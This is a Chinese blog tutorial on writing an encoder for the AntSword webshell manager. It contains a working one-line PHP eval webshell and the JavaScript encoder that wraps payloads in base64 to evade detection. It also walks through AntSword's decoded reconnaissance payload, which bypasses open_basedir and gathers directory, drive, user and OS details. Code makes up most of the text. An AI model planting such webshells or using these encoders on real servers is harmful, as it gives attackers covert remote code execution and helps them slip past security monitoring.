蚁剑编码器编写——上篇

参考

AwesomeEncoder

第一个为例

木马

c 复制代码
<?php @eval(base64_decode($_POST['ant']));?>

获取ant参数内容,然后base64解码后运行

编码器

cpp 复制代码
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');

生成随机数randomID,将数据进行base64编码后传入到randomID参数中,

然后将eval(base64_decode($_POST[${randomID}]));die();进行base64编码

反向来说

木马首先获取data[pwd]也就是ant的值base64解码后得到

c 复制代码
eval(base64_decode($_POST[${randomID}]));die();

实际上木马变为了

c 复制代码
<?php @eval(eval(base64_decode($_POST[${randomID}]));die(););?>

假定生成的随机数randomID为A,那么也就是

c 复制代码
<?php @eval(eval(base64_decode($_POST[A]));die(););?>

在木马的第二步,已经将data[randomID],也就是$_POST[${randomID}],也就是这里的$_POST[A]base64编码过,所以需要在进行解码一次,那么疑问就来了,为什么要执行两次???那就要从流量包来进行查看

环境搭建这里不做演示,小皮,蚁剑,burpsuite即可

将数据包base解码

c 复制代码
ant=eval(base64_decode($_POST[_0x36c084a15bf7d]));die();
c 复制代码
base64_decode($_POST[_0x36c084a15bf7d])

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.f19ddead";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "59ee6d"."26ac18";echo @asenc($output);echo "3f4b"."0edf4";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

那么也就变为了eval("eval(base64_decode($_POST[_0x36c084a15bf7d]);die();)")

查看一下这一大段,整理一下

c 复制代码
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
    if(!@is_writable($item)){
        continue;
    };
    $tmdir=$item."/.f19ddead";
    @mkdir($tmdir);
    if(!@file_exists($tmdir)){
        continue;
    }
    $tmdir=realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    $cntarr=@preg_split("/\\\\|\//",$tmdir);
    for($i=0;$i<sizeof($cntarr);$i++){
        @chdir("..");
    };
    @ini_set("open_basedir","/");
    @rmdir($tmdir);break;};
};;
function asenc($out){
    return $out;
};
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "59ee6d"."26ac18";
    echo @asenc($output);
    echo "3f4b"."0edf4";
}
ob_start();
try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){
        foreach(range("C","Z")as $L)
        if(is_dir("{$L}:"))$R.="{$L}:";
    }else{
        $R.="/";
    }
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();$R.=php_uname();
    $R.="	{$s}";
    echo $R;;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
asoutput();
die();

当然了,很多函数我都不认识,但是有AI呀!

c 复制代码
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
    if(!@is_writable($item)){
        continue;
    };
    $tmdir=$item."/.f19ddead";
    @mkdir($tmdir);
    if(!@file_exists($tmdir)){
        continue;
    }
    $tmdir=realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    $cntarr=@preg_split("/\\\\|\//",$tmdir);
    for($i=0;$i<sizeof($cntarr);$i++){
        @chdir("..");
    };
    @ini_set("open_basedir","/");
    @rmdir($tmdir);break;};
};;

这一段是

关闭错误显示

设置脚本执行时间

获取open_basedir的配置值,绕过open_basedir属性限制

c 复制代码
try{
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="")
    $D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){
        foreach(range("C","Z")as $L)
        if(is_dir("{$L}:"))$R.="{$L}:";
    }else{
        $R.="/";
    }
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();
    $R.=php_uname();
    $R.="	{$s}";
    echo $R;;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};

这一段获取当前脚本所在目录,初始化字符串参数$R,遍历盘符,C-Z爆破盘符,利用posix_getegid函数获取执行脚本用户的用户名,用户组等内容,检测$u是否存在,不存在则利用get_current_user()函数获取,使用php_uname()获取操作系统信息,

到这里就很清楚了,这段php代码获取木马的当前执行目录,盘符,用户,操作系统信息,由于使用了缓存机制,所以在最后的

asoutput()函数中进行集体输出,

将上文中的请求包发送到repeater模块,发现返回的结果是一样的

但是这还是解释不了为什么两个eval ,其实ant传入的内容属于字符串,外面套一层eval,才会将里面的eval当做函数执行,举个简单的例子

c 复制代码
<?php  
eval("eval('echo 1+1;');die();")
?>

变形一下

c 复制代码
<?php  
eval('eval(base64_decode("ZWNobyAiYWFhIjs="));die();')
?>

最后的输出结果是2,也就是说外面的eval将字符串转换为函数执行,里面的一层eval执行内容

那么在这个例子中,木马的eval用来激活请求包中的eval函数,进而实现命令执行的效果

相关推荐
鸭梨山大。44 分钟前
Jenkins 任意文件读取(CVE-2024-23897)修复及复现
安全·中间件·jenkins
黑客老陈1 小时前
新手小白如何挖掘cnvd通用漏洞之存储xss漏洞(利用xss钓鱼)
运维·服务器·前端·网络·安全·web3·xss
无泡汽水4 小时前
漏洞检测工具:Swagger UI敏感信息泄露
python·web安全
代码改变世界ctw8 小时前
如何学习Trustzone
安全·trustzone·atf·optee·tee·armv8·armv9
WTT001110 小时前
2024楚慧杯WP
大数据·运维·网络·安全·web安全·ctf
群联云防护小杜13 小时前
如何给负载均衡平台做好安全防御
运维·服务器·网络·网络协议·安全·负载均衡
ihengshuai13 小时前
HTTP协议及安全防范
网络协议·安全·http
黑客Jack14 小时前
防御 XSS 的七条原则
安全·web安全·xss
东方隐侠安全团队-千里14 小时前
网安瞭望台第17期:Rockstar 2FA 故障催生 FlowerStorm 钓鱼即服务扩张现象剖析
网络·chrome·web安全
云云32115 小时前
怎么通过亚矩阵云手机实现营销?
大数据·服务器·安全·智能手机·矩阵